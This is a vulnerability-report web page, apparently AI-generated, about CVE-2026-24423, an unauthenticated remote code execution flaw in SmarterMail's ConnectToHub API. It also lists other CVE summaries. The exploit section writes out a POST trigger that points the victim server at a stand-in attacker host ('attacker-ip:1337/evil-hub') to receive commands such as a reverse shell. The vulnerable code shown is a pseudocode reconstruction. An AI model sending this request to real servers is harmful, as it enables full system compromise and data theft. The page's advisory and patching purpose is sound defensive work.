CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-24423

The 'Hub' of All Evils: SmarterMail Unauth RCE

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 28, 2026·5 min read·332 visits

Executive Summary (TL;DR)

SmarterMail left the 'SystemAdminSettingsController.ConnectToHub' endpoint wide open. An attacker can send a request telling the mail server to connect to a malicious 'Hub' server controlled by the attacker. Upon connection, the malicious server feeds the mail server commands, which are executed with high privileges. It is a text-book unauthenticated RCE rated CVSS 9.3.

A critical authentication bypass in SmarterTools SmarterMail allows unauthenticated attackers to trick the server into executing arbitrary OS commands by abusing the 'ConnectToHub' API.

The Hook: When Smart Mail Acts Dumb

SmarterMail is the 'Exchange alternative' for people who don't want the headache of managing Microsoft Exchange but still want the headache of managing an enterprise mail server. It's widely used by hosting providers and small-to-medium businesses. Because it handles email, it is effectively the nervous system of an organization, sitting on sensitive data and usually enjoying high privileges on the host OS.

In January 2026, researchers uncovered a flaw that is almost charming in its simplicity. Usually, Remote Code Execution (RCE) requires a complex chain of memory corruption or a Rube Goldberg machine of deserialization gadgets. Not this time.

CVE-2026-24423 is a logic flaw in the High Availability (HA) features of SmarterMail. Specifically, the feature designed to let servers talk to a central management 'Hub' was implemented without checking who was asking to initiate the connection. It's the digital equivalent of a bank vault that opens if you just ask it nicely.

The Flaw: Missing Authentication (CWE-306)

The vulnerability resides in the SystemAdminSettingsController, specifically within a method called ConnectToHub. In a secure application, any controller labeled 'SystemAdmin' should be locked down tighter than a drum, requiring a valid session, an administrative cookie, or an API key.

However, the developers missed the [Authorize] attribute (or its equivalent internal check) on this specific endpoint. This means the API is publicly accessible to anyone who can reach the server's HTTP port.

But the flaw isn't just that the door is unlocked; it's what lies behind the door. The ConnectToHub method takes a URL or IP address as input. Its job is to reach out to that address and establish a management link. The fatal mistake was trusting that the input would point to a legitimate SmarterMail Hub. Instead, it allows an attacker to point the victim server to a malicious rogue server.

The Code: Anatomy of a Mistake

While the exact source code is proprietary, we can reconstruct the logic based on the behavior and the patch. The vulnerable controller likely looked something like this pseudocode:

// VULNERABLE CODE PATTERN
public class SystemAdminSettingsController : ApiController
{
    // OOPS: Missing [Authorize] or [AdminRequired] attribute here
    [HttpPost]
    public IActionResult ConnectToHub([FromBody] HubConnectionRequest request)
    {
        // The server blindly takes the URL from the attacker
        var hubUrl = request.HubUrl;
        
        // And initiates a connection to it
        var connection = new HubConnection(hubUrl);
        connection.Connect(); // Creates the outbound connection
        
        // If the 'Hub' sends back commands during handshake, they get executed
        connection.ProcessDirectives(); 
        
        return Ok();
    }
}

The fix was brutal and effective: they deleted the code. In Build 9511, the ConnectToHub and ValidateRemoteInstances endpoints were removed or completely refactored to ensure they could not be called without a rigorous authentication context. This is the 'scorched earth' approach to patching, which is often the safest bet.

The Exploit: Phoning Home to Hell

Exploiting this requires two moving parts: the attacker's client (to send the trigger) and the attacker's server (to emulate a malicious Hub).

Phase 1: The Setup The attacker sets up a simple HTTP server (Python or Go) that mimics the SmarterMail Hub protocol. This doesn't need to be a full implementation; it just needs to respond to the initial handshake with a payload.

Phase 2: The Trigger The attacker sends a POST request to the victim:

POST /api/v1/settings/sysadmin/connect-to-hub HTTP/1.1
Host: mail.victim-corp.com
Content-Type: application/json
 
{
    "url": "http://attacker-ip:1337/evil-hub"
}

Phase 3: The Execution The victim server receives the request and, obeying the logic, initiates an HTTP connection to http://attacker-ip:1337/evil-hub. The attacker's server accepts the connection and responds with a configuration packet containing OS commands (e.g., spawning a reverse shell or adding a user).

Because the SmarterMail service typically runs as SYSTEM on Windows to manage network ports and files, the resulting shell is fully privileged.

The Impact: Why You Should Panic

This is a CVSS 9.3 for a reason. It is Unauthenticated (anyone on the internet can do it), Low Complexity (the exploit is just a web request), and High Impact (Complete System Compromise).

Once the attacker has RCE, the game is over. They can:

  1. Read all emails: Corporate espionage, password resets for other services, intercepting 2FA codes.
  2. Deploy Ransomware: Encrypt the mail store and demand payment.
  3. Pivot: Use the mail server as a beachhead to attack the internal network (Lateral Movement).

Since mail servers are often trusted by other internal systems (allow-listed in firewalls), they make excellent jump boxes.

The Fix: Patching the Hole

SmarterTools addressed this in Build 9511 (released Jan 15, 2026). If you are running an older version, you are vulnerable.

Remediation Steps:

  1. Update Immediately: Download and install the latest build from the SmarterTools website.
  2. Verify Version: Ensure your build number is >= 9511.
  3. Audit Access: Check IIS or application logs for requests to ConnectToHub originating from unknown IPs prior to patching. This indicates you may have already been compromised.

Strategic Mitigation: Even after patching, ask yourself: Why is my administrative interface exposed to the entire internet? Use firewall rules or IIS restrictions to limit access to /api/v1/settings/sysadmin endpoints to known internal management IPs/VPNs only.

Official Patches

SmarterToolsSmarterMail Build 9511 Release Notes

Technical Appendix

CVSS Score
9.3/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.09%
Top 75% most exploited

Affected Systems

SmarterTools SmarterMail (All versions prior to Build 9511)

Affected Versions Detail

Product
Affected Versions
Fixed Version
SmarterMail
SmarterTools
< 100.0.9511Build 9511
AttributeDetail
CWE IDCWE-306 (Missing Authentication for Critical Function)
Attack VectorNetwork (AV:N)
CVSS v4.09.3 (Critical)
Privileges RequiredNone (PR:N)
ImpactRemote Code Execution (System)
Exploit StatusActive Research / High Risk

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1210Exploitation of Remote Services
Lateral Movement
T1059Command and Scripting Interpreter
Execution
CWE-306
Missing Authentication for Critical Function

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Known Exploits & Detection

VulnCheckAdvisory detailing the unauthenticated RCE via ConnectToHub API

Vulnerability Timeline

SmarterTools releases Build 9511 with fix
2026-01-15
Vulnerability details publicly disclosed (watchTowr, VulnCheck, CODE WHITE)
2026-01-23

References & Sources

  • [1]CODE WHITE Public Vulnerability List
  • [2]watchTowr Labs Blog

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•2 days ago•CVE-2026-115895
8.8

CVE-2026-115895: Code Injection via Unsanitized Import Alias in Happy DOM ECMAScript Module Compiler

CVE-2026-115895 is a high-severity code injection vulnerability (CWE-94) in the happy-dom npm package prior to version 21.0.4. The vulnerability exists within the ECMAScriptModuleCompiler component, which transforms ECMAScript module syntax into executable Node.js functions when JavaScript evaluation is enabled. Due to an incomplete fix for CVE-2026-33943, the compiler failed to validate local named import aliases against legal JavaScript identifier rules. Attackers supplying crafted module imports—specifically utilizing destructuring default initializers alongside JSON module attributes—can inject arbitrary JavaScript expressions directly into the host Node.js runtime context.

Amit Schendel
Amit Schendel
8 views•10 min read
•2 days ago•CVE-2026-115883
6.0

CVE-2026-115883: Cross-Namespace Access via Dot-Delimited Labels in LangGraph Postgres and SQLite Stores

An improper input validation and authorization bypass vulnerability exists in the LangGraph storage layer affecting langgraph, langgraph-checkpoint-postgres, and langgraph-checkpoint-sqlite. Because relational store implementations serialize namespace tuples into dot-delimited strings without validating labels on read, search, delete, and batch operations, an attacker who controls a namespace label can inject periods (.) to traverse namespace boundaries and access, modify, or delete data belonging to other namespaces.

Amit Schendel
Amit Schendel
8 views•9 min read
•2 days ago•CVE-2026-115886
6.5

CVE-2026-115886: Unauthenticated Server-Side Request Forgery and Unsafe Reflection in MLflow Scorer Evaluation Endpoints

CVE-2026-115886 (GHSA-2wqp-q3c6-ccj5) is a Server-Side Request Forgery (SSRF) and Unsafe Reflection vulnerability in MLflow versions 3.12.0rc0 prior to 3.17.0. Unauthenticated REST API endpoints accept serialized third-party scorer JSON payloads that are dynamically deserialized and reflectively instantiated without sanitizing constructor keyword arguments. When optional dependencies such as trulens and trulens-providers-litellm are installed, attackers can inject egress-steering arguments into the scorer payload, forcing the MLflow server to dispatch outbound HTTP requests to arbitrary internal destinations or cloud metadata services.

Alon Barad
Alon Barad
12 views•10 min read
•2 days ago•CVE-2026-113872
7.5

CVE-2026-113872: Unauthenticated Process Crash in Express Multer via Late Busboy Stream Resumption

CVE-2026-113872 (GHSA-q7qp-rjg7-q26m) is a high-severity denial-of-service vulnerability affecting the multer multipart/form-data upload middleware for Node.js and Express in versions 2.0.0 through 2.4.0. When an endpoint is configured to accept multiple files using an asynchronous fileFilter callback, a crafted, truncated multipart HTTP request can trigger an unhandled error event on the underlying busboy stream parser after request teardown has already completed. Because all error listeners are stripped during teardown, Node.js treats the resulting error event as an uncaught exception and immediately terminates the server process.

Amit Schendel
Amit Schendel
9 views•12 min read
•2 days ago•CVE-2026-115897
2.1

CVE-2026-115897: Cross-Site Scripting via Function Body Boundary Bypass in serialize-javascript

CVE-2026-115897 (also tracked as GHSA-m5mm-p8h7-m29v and aliased as CVE-2026-115754) is a Cross-Site Scripting (XSS) vulnerability in the Yahoo serialize-javascript npm package prior to version 7.1.3. The flaw exists in the regular expression used by escapeFunctionBody() to neutralize HTML script closing tags within serialized JavaScript functions. Because function bodies are sanitized in isolation before structural formatting is applied, a function whose string representation terminates directly with the sequence '</script' bypasses the positive lookahead check. When combined with serialization formatting options that introduce whitespace delimiters and a subsequent property that supplies a closing bracket, an attacker can prematurely terminate an enclosing HTML <script> block and inject arbitrary HTML or JavaScript into the rendered document.

Amit Schendel
Amit Schendel
7 views•13 min read
•2 days ago•CVE-2026-109841
5.9

CVE-2026-109841: Subresource Integrity Verification Bypass in Node.js Undici

CVE-2026-109841 is a Subresource Integrity (SRI) verification bypass vulnerability in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js that powers the global fetch() implementation. The flaw stems from improper handling of case sensitivity (CWE-178) when validating cryptographic hash algorithm tokens within SRI metadata. Because undici compared incoming algorithm identifiers against a strictly lowercase set without prior ASCII-lowercase normalization, valid uppercase or mixed-case tokens such as SHA256- or Sha384- were treated as unrecognized algorithms and discarded. Under SRI forward-compatibility rules, discarding all provided tokens results in an empty integrity list, causing undici to fail open and accept tampered HTTP response bodies without cryptographic verification.

Alon Barad
Alon Barad
17 views•9 min read